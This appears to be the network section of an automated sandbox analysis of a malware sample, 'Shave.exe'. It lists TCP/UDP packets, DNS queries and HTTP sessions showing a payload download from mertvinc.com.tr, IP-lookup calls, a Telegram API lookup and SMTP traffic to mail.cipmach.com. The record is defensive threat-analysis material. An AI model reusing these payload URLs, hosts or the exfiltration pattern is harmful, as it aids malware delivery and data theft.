Nov 25, 2024 07:09:43.233807087 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233830929 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233850956 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233875990 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.353053093 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353080034 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353111982 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353202105 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353318930 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353331089 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353339911 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353385925 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353396893 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.353405952 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.636759996 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.676608086 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:45.156111956 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:45.275593042 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:45.751384020 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:45.751548052 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:45.751571894 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:45.751599073 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:45.752625942 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:45.871001005 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:45.872076035 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:45.872154951 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:47.061172962 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:47.061311960 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:47.180888891 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:47.437448978 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:47.437622070 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:47.557056904 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:48.019036055 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:48.019325018 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:48.139138937 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:48.397633076 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:48.397772074 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:48.517406940 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:48.773571968 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:48.777089119 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:48.896881104 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.209161997 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.209316015 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:49.328788042 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.585128069 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.585431099 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:49.585535049 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:49.585572004 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:49.585587978 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:49.585777998 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:49.704925060 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.705013037 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.705028057 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.705037117 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:49.705141068 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.068130970 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.069581032 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:50.189016104 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.646209002 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.646322966 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:50.646363020 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.646410942 CET	49913	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:50.647236109 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:50.765918970 CET	587	49913	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.766822100 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:50.766920090 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:52.019323111 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:52.019478083 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:52.139410019 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:52.403913975 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:52.404251099 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:52.523727894 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:52.788863897 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:52.807799101 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:52.927331924 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:53.194047928 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:53.194350004 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:53.313815117 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:53.578747034 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:53.578918934 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:53.698388100 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.016118050 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.017061949 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.136554003 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.401535034 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.405173063 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405239105 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405239105 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405282974 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405375004 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405375004 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405375004 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.405431986 CET	49925	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:54.524626970 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.524682045 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.524693012 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.524888039 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.524898052 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.524908066 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.525023937 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.525033951 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.525042057 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.525053978 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.799392939 CET	587	49925	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:54.848511934 CET	49925	587	192.168.2.5	199.79.63.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 07:08:39.852623940 CET	55205	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:08:40.866555929 CET	55205	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:08:41.037673950 CET	53	55205	1.1.1.1	192.168.2.5
Nov 25, 2024 07:08:41.037687063 CET	53	55205	1.1.1.1	192.168.2.5
Nov 25, 2024 07:08:44.351557016 CET	56135	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:08:44.490278959 CET	53	56135	1.1.1.1	192.168.2.5
Nov 25, 2024 07:08:49.371078014 CET	61004	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:08:49.511991978 CET	53	61004	1.1.1.1	192.168.2.5
Nov 25, 2024 07:09:25.145935059 CET	63834	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:09:25.283875942 CET	53	63834	1.1.1.1	192.168.2.5
Nov 25, 2024 07:09:33.158169985 CET	62852	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:09:34.160964966 CET	62852	53	192.168.2.5	1.1.1.1
Nov 25, 2024 07:09:34.282994032 CET	53	62852	1.1.1.1	192.168.2.5
Nov 25, 2024 07:09:34.297743082 CET	53	62852	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 07:08:39.852623940 CET	192.168.2.5	1.1.1.1	0x9df6	Standard query (0)	mertvinc.com.tr	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:40.866555929 CET	192.168.2.5	1.1.1.1	0x9df6	Standard query (0)	mertvinc.com.tr	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:44.351557016 CET	192.168.2.5	1.1.1.1	0x43c9	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:49.371078014 CET	192.168.2.5	1.1.1.1	0x77b5	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:25.145935059 CET	192.168.2.5	1.1.1.1	0x6bb0	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:33.158169985 CET	192.168.2.5	1.1.1.1	0x2825	Standard query (0)	mail.cipmach.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:34.160964966 CET	192.168.2.5	1.1.1.1	0x2825	Standard query (0)	mail.cipmach.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 07:08:41.037673950 CET	1.1.1.1	192.168.2.5	0x9df6	No error (0)	mertvinc.com.tr		185.244.144.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:41.037687063 CET	1.1.1.1	192.168.2.5	0x9df6	No error (0)	mertvinc.com.tr		185.244.144.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:44.490278959 CET	1.1.1.1	192.168.2.5	0x43c9	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:08:44.490278959 CET	1.1.1.1	192.168.2.5	0x43c9	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:44.490278959 CET	1.1.1.1	192.168.2.5	0x43c9	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:44.490278959 CET	1.1.1.1	192.168.2.5	0x43c9	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:44.490278959 CET	1.1.1.1	192.168.2.5	0x43c9	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:44.490278959 CET	1.1.1.1	192.168.2.5	0x43c9	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:49.511991978 CET	1.1.1.1	192.168.2.5	0x77b5	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:08:49.511991978 CET	1.1.1.1	192.168.2.5	0x77b5	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:25.283875942 CET	1.1.1.1	192.168.2.5	0x6bb0	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:34.282994032 CET	1.1.1.1	192.168.2.5	0x2825	No error (0)	mail.cipmach.com		199.79.63.24	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:34.297743082 CET	1.1.1.1	192.168.2.5	0x2825	No error (0)	mail.cipmach.com		199.79.63.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

mertvinc.com.tr

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49751	185.244.144.68	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:08:41.167156935 CET	182	OUT	GET /oxzGOftLtQcGlWZ214.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: mertvinc.com.tr Cache-Control: no-cache
Nov 25, 2024 07:08:42.598359108 CET	299	IN	HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: application/octet-stream Last-Modified: Wed, 20 Nov 2024 22:29:52 GMT Etag: "43a40-673e62e0-9205f093e5c5f5a8;;;" Accept-Ranges: bytes Content-Length: 277056 Date: Mon, 25 Nov 2024 05:15:06 GMT Server: LiteSpeed X-Powered-By: PleskLin
Nov 25, 2024 07:08:42.598884106 CET	1236	IN	Data Raw: da 0c 4a 4c a8 52 8a 1c d7 69 b5 d8 69 b3 62 c2 a2 2c 83 f7 2e 66 d6 7e 68 6e 27 44 1f 0f 21 ff d7 b7 fe 28 ff e4 76 be f4 e5 ee 5b c4 63 27 b1 57 75 49 d4 66 17 df 35 da 5b 90 5b 1a 66 a0 c8 51 df 0e 80 48 fb 84 0a b4 3c c6 89 a1 e1 64 25 8c f2 Data Ascii: JLRiib,.f~hn'D!(v[c'WuIf5[[fQH<d%(-&[S(?!{a,9tFmZLbMo?y<B"6"{;aRi]LqYF#Fzo'Fa^bm@GZc*Kbq2\|osG=
Nov 25, 2024 07:08:42.598901987 CET	1236	IN	Data Raw: ec 1f d4 6e 9e ee c3 37 4f f6 da 0a c5 92 55 b2 df b0 bb 1d 58 6a da 9c 51 5c 25 73 e9 0f 34 5d a5 c8 dc a0 95 02 f2 75 c0 83 58 75 3d e6 0f a7 0f 77 47 26 20 6b b7 86 60 0b 97 57 af 12 1b 99 cf 21 3e c0 ad 68 9f 73 16 33 17 31 9b f7 8b e2 67 a6 Data Ascii: n7OUXjQ\%s4]uXu=wG& k`W!>hs31gkAwg(/1Zag{\w}Qz/2TlYf<iC$X +j:&k/+~to%#yOYDd3r=9Le@Pg`iz3#
Nov 25, 2024 07:08:42.598913908 CET	1236	IN	Data Raw: 9e ee 1a b0 b3 53 ed 07 a9 71 c6 3f 14 5b 5e f7 50 58 45 77 1a 18 61 66 a7 a3 83 14 96 08 62 5c f6 d0 55 83 dd c3 b6 79 65 eb 82 4a b7 83 74 93 ab 64 ff 51 86 e2 71 b8 ce b7 a6 4e 3c 20 9f 7e 3c 63 1f 84 22 a6 db 27 a2 1b 03 f2 43 48 70 0f 9e 58 Data Ascii: Sq?[^PXEwafb\UyeJtdQqN< ~<c"'CHpX'#sO'b!+_+%T0T/[z~aD37^%K,Cb^?fc{fPx4DBqP&3vzf9Jep
Nov 25, 2024 07:08:42.598927021 CET	492	IN	Data Raw: 29 83 ab ff 41 e5 da 9f b3 ac 3d 6e 11 18 80 29 37 cb 99 d8 2e cc 31 a1 88 06 ad 15 a0 57 0a 81 c1 91 48 7f ea e1 df 1a ba ad a0 21 b7 06 ee c6 f3 f7 76 51 ac 6b 1d 8b 96 39 b5 a9 b8 8e bf 84 54 68 0b 86 8a 14 85 3b b3 5f ac d2 3d 21 f2 2a fc fc Data Ascii: )A=n)7.1WH!vQk9Th;_=!W@OboCz.'g$;?bO[x}1Oi@j`t]pxz=`IM/qh[{/tG :m9;@}015Cu4<iGwN~Zak
Nov 25, 2024 07:08:42.599153042 CET	1236	IN	Data Raw: ff 85 44 47 d6 12 16 62 09 10 8a eb f4 d8 4b f2 bd 9c 82 62 ab 0a 9a 7e b7 06 e5 86 0d d9 dd de 56 cd 5e de e5 f6 c7 ba 85 f3 0c 41 8d df 13 8d 33 97 00 ec 8e 66 6e 04 cf 11 1e 09 90 9d 87 48 77 65 fd ae 3d 05 83 64 5a 90 23 58 06 35 a9 89 38 7d Data Ascii: DGbKb~V^A3fnHwe=dZ#X58})4?Bep#Qe/a'XJHW"t=2N9\|f:3T?~X{4UEC]^R'"A\x\|<h:j@7ED?R4\yw%q)/o
Nov 25, 2024 07:08:42.599208117 CET	1236	IN	Data Raw: a6 7d 7f 15 a1 0c a8 4f a1 39 66 af b5 47 c2 88 22 7b a5 bb fd 73 c4 fb dc e5 58 a8 99 93 3c fd 83 60 8b 86 e3 77 c4 a1 70 03 04 65 ae 8a c9 f9 f0 82 0d df 9f 74 55 b0 9f 47 33 39 aa 2d a0 49 08 3a 22 20 45 71 e0 3a 08 e0 01 25 39 c5 69 de 47 f9 Data Ascii: }O9fG"{sX<`wpetUG39-I:" Eq:%9iG=IPaitT6`}!k3e>~X.83A4h77lfT \f_L1}[.%Lw9}J'{X_
Nov 25, 2024 07:08:42.599217892 CET	1236	IN	Data Raw: c6 e0 75 3b 82 a7 40 8c a6 46 74 54 e6 a1 00 62 9b 80 cf 5b ac 46 2f 4b 82 5d 3f 82 8c 50 8b 25 95 df 12 6f 20 eb 78 6e 7c 94 e5 b6 ab 2e 67 ba e6 5d ee 0c ed 4d 0d 8d fb 5c df 2f 74 63 a5 8a 99 39 66 d2 db 61 20 bb a1 84 4b 0f 58 fc 37 b6 f8 6c Data Ascii: u;@FtTb[F/K]?P%o xn\|.g]M\/tc9fa KX7lp!Ti(B\|KX[]~/yqHTHFJ?<9%RjR?5!E7amK`]sW&s;+:n~0LnZo`Tce=oX]k\
Nov 25, 2024 07:08:42.599359989 CET	492	IN	Data Raw: 35 63 5d 69 db 5a e2 f3 22 0c 54 7e bf 25 68 75 00 b5 5f 07 43 76 25 1a 57 dd ca ce 77 d4 10 c8 db bf a8 1a d0 2d cf 3c a4 cb f7 dc 5f f0 4d c4 3c 40 6b 3c 06 45 21 7e 1e e4 27 63 b8 70 0d 31 b4 22 82 48 6d 9d ec e5 43 71 2b bf 88 e6 a1 7a ba 1f Data Ascii: 5c]iZ"T~%hu_Cv%Ww-<_M<@k<E!~'cp1"HmCq+zwTMK<d/?XpS]GZM16b-1ngCz3[ExIe&FW0xZ[Rc@9im5f5"#TwaW ^XFqVA1@CKaa+
Nov 25, 2024 07:08:42.599371910 CET	1236	IN	Data Raw: c3 8a 04 f9 0e c0 3e 19 99 8b bd 0f 73 aa b3 36 f9 60 f0 fd 01 a5 94 77 85 57 a7 69 b7 a6 89 02 80 c6 f1 2f e1 6b 31 bc 61 91 3a 64 c4 d0 8d 45 b3 26 67 6e ca 55 bf f7 5b 04 6f 29 a3 60 54 1e a4 c7 c2 aa 6f cd 83 b9 b0 4b 9b d0 84 83 a2 36 a1 3d Data Ascii: >s6`wWi/k1a:dE&gnU[o)`ToK6=1X$YdxHD,akijL; =WJ\OOT}\MGd2?-E)3}t>66*-kqtW\|yi9lC%savsG
Nov 25, 2024 07:08:42.718547106 CET	1236	IN	Data Raw: c6 74 47 32 b3 1f d6 8b 0a 61 78 ac 0f 64 3f ef d8 49 cd ae 68 3b 5c 8b 43 f1 7e 88 ae dc e2 6d 02 42 68 b6 b0 22 c7 d2 5b 28 a2 41 9c 89 fa a8 30 a0 eb fe bc 9a 80 c5 33 1c 97 3e ce 31 2b 46 8b 2b 91 e9 78 f5 e7 f1 c8 70 e9 73 56 8d 2a 20 27 da Data Ascii: tG2axd?Ih;\C~mBh"[(A03>1+F+xpsV* '(^PDN)3>a!rFq@nSM=2)?;i+kgCXbV^&79Y3J.%-rhEvd=5ph6[X.PT2 T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49757	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:08:44.617152929 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:08:48.664309978 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 637bb3c0f7bd0c1e99c8ee484ad404f7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 07:08:48.668427944 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 07:08:49.011686087 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 48d4995d5b873d4bcc38127cd279f2dc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 07:08:51.303636074 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 07:08:51.666965961 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:51 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 378e46364ff70cf5888eabcea837e10c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49779	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:08:53.514131069 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 07:08:57.096506119 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:56 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 084721cc87aafe471227f81ab403bda5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49796	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:08:59.003117085 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:09:00.533708096 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:00 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ddb07921a526f251d6430de4535bf447 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 07:09:01.034914970 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:00 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ddb07921a526f251d6430de4535bf447 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49805	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:02.749855042 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
